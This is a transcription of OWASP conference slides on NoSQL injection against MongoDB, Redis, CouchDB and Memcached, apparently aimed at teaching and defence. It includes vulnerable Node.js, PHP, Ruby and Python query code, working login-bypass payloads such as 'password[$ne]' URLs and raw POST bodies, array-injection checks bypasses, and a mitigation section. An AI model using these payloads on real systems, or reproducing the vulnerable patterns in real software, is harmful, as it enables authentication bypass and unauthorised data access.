NOSQL INJECTION - OWASP

Transcription

NOSQL INJECTIONFUN WITH OBJECTS AND ARRAYSPatrick Spiegel1

MOTIVATION . with MongoDB we are not building queriesfrom strings, so traditional SQL injection attacks are not a problem.- MongoDB Developer FAQ2

AGENDA Scope Attacks Attacker Model Mitigation 3

SCOPE 4.1

SCOPE - DATABASESDatabaseTypeRankingDocument store5.Key-value store9.Key-value cache23.Document store26.4.2

SCOPE - DATABASES4.3

SCOPE - TECHNOLOGY STACKWhat do we have to consider for NoSQL Injection?DATABASESDATABASE DRIVERSAPPLICATION SERVERSFRAMEWORKS 64 TECHNOLOGY STACKS4.4

ATTACKER MODEL 5.1

ATTACKER MODEL - MIGHTINESSThe attacker is aware of the deployedtechnology stack including application server,driver, frameworks and database.The attacker is able to send arbitrary requests tothe server with the authorization of a normalapplication user.5.2

ATTACKER MODEL - GOALThe attacker's goal is to achieveunintended behavior of the database query byaltering query parameters.The attacker is able to trigger unintendedCRUD operations .5.3

ATTACKER MODEL - OVERVIEW5.4

NOSQL INJECTION ATTACKERSQL Attacker Model Query languages for unstructured data Diverse system landscapes with multipledatabases Direct client-side database access via RESTfullinterfaces5.5

INJECTION ATTACKS 6.1

WHAT'S ALREADY KNOWN?Login bypass for MongoDB on PHP and NodeJSString concatenation is still an issue for JSON andscript parametersEscaping flaws of drivers e.g. MemcachedGot fixed!6.2

MONGODB - LOGIN BYPASS// NodeJS with Express.jsdb.collection('users').find({"user": req.query.user,"password": req.query.password}); https://example.org/login?user patrick&password 1234 https://example.org/login?user patrick&password[%24ne] // NodeJS with Express.jsdb.collection('users').find({"user": "patrick","password": {"&ne": ""}});6.3

MONGODB - LOGIN BYPASS// PHP collection- find(array('user' GET['user'],'password' GET['password'])); What's even new?# Ruby on Railsdb['users'].find({:user req.params['user'],:password req.params['password']})# Python with Djangodb.users.find({"user": request.GET['user'],"password": request.GET['password']})6.4

MONGODB - LOGIN BYPASS. also works for POST requests!POST /login HTTP/1.1Host: example.orgContent-Type: application/jsonContent-Length: 38{'user': 'patrick', 'password': {'>': ''}}POST /login HTTP/1.1Host: example.orgContent-Type: application/x-www-form-urlencodedContent-Length: 29user Patrick&password[%24ne] 6.5

REDIS - PARAMETER OVERWRITE INJECTION. just a key-value store - what's the worst that could happen?// NodeJS with Express.jsRedisClient.expireat(req.query.key,new Date("November 8, 2026 11:13:00").getTime()); ./expire?key[] foo&key[] 1117542887Injected array overwrites all following parametersof each database function!Only NodeJS driver affected!6.6

COUCHDB - LOGIN BYPASS// NodeJS with Express.jsfunction checkCredentials(user, password, callback) {var options {'selector': {'user': user, 'password': password}};couch.use('users').get(' find', options, (err, res) {callback(res.docs.length 1);});checkCredentials(req.query.user, req.query.password, handleResult); login?user patrick&password[%24ne] Inject query selector to bypass password check!6.7

COUCHDB - LOGIN BYPASS. then let's check the password within the application layer!// NodeJS with Express.jsfunction checkCredentials(user, password, callback) {nano.use('users').get(user, (err, res) {callback(res.password paasword);});}checkUser(req.query.user, req.query.password, handleResult); https://example.org/login?user all docsUse special all docs document with undefinedpassword property!6.8

COUCHDB - CHECK BYPASSHmm . then let's check the properties!// NodeJS with Express.jsfunction getDocument(key, callback) {if (key "secretDoc" key[0] " ") {callback("Not authorized!");} else {couch.use('documents').get(key, callback);}}getDocument(req.query.key); https://example.org/get?user[] secretDoc https://example.org/get?user[] all docs6.9

MEMCACHED - ARRAY INJECTIONfunction getCache(key) {if (key.indexOf('auth ') 0){callback("Invalid key!");} else {memcached.get(key, (err, body) {callback(err body);});}}getCache(req.query.key, handleResult); https://example.org?/getCache?key[] auth patrickArray injection bypasses application layer checks!6 . 10

ATTACK SUMMARYAll attacks shown with GET requests also workwith POST and PUT requests!Nearly all attacks work on NodeJS, PHP, Ruby andPython in combination with certain frameworks!Object and array injection changes semantics andis key for attacks!6 . 11

MITIGATION 7.1

WHAT'S THE PROBLEM?The queries' semantic is encoded in the object ortype structure of passed parameters.{'password': '1234'} vs {'password': {'&ne': '1'}}7.2

IS TYPE CASTING A SOLUTION?{'password': req.param.password.toString()} Secure against type manipulation Not flexible enough for unstructured data Easy to forget in practice .7.3

IS DYNAMIC CODE ANALYSIS ASOLUTION?{user: 'Patrick', address: {city: 'Karlsruhe', code:76133}}Reduces user-controlled data to string andinteger valuesApplication-controlled structure7.4

DYNAMIC CODE ANALYSISDATA VARIETY?if (obj.user && obj.address) {collection.insert({user: obj.user, address: obj.address});} else if (obj.user && obj.phone) {collection.insert({user: obj.user, phone: obj.phone});} else if . Secure for structure manipulation Impractical for many different propertycombinations!7.5

IS DYNAMIC CODE ANALYSIS ASOLUTION?IMHONOBreaks existing implementationsExtensive code adjustments necessaryHard to handle data variety securely7.6

Inject query selector to bypass password check! 6 . 8. COUCHDB - LOGIN BYPASS. . then let's check the password within the application layer! // NodeJS with Express.js function checkCredentials(user,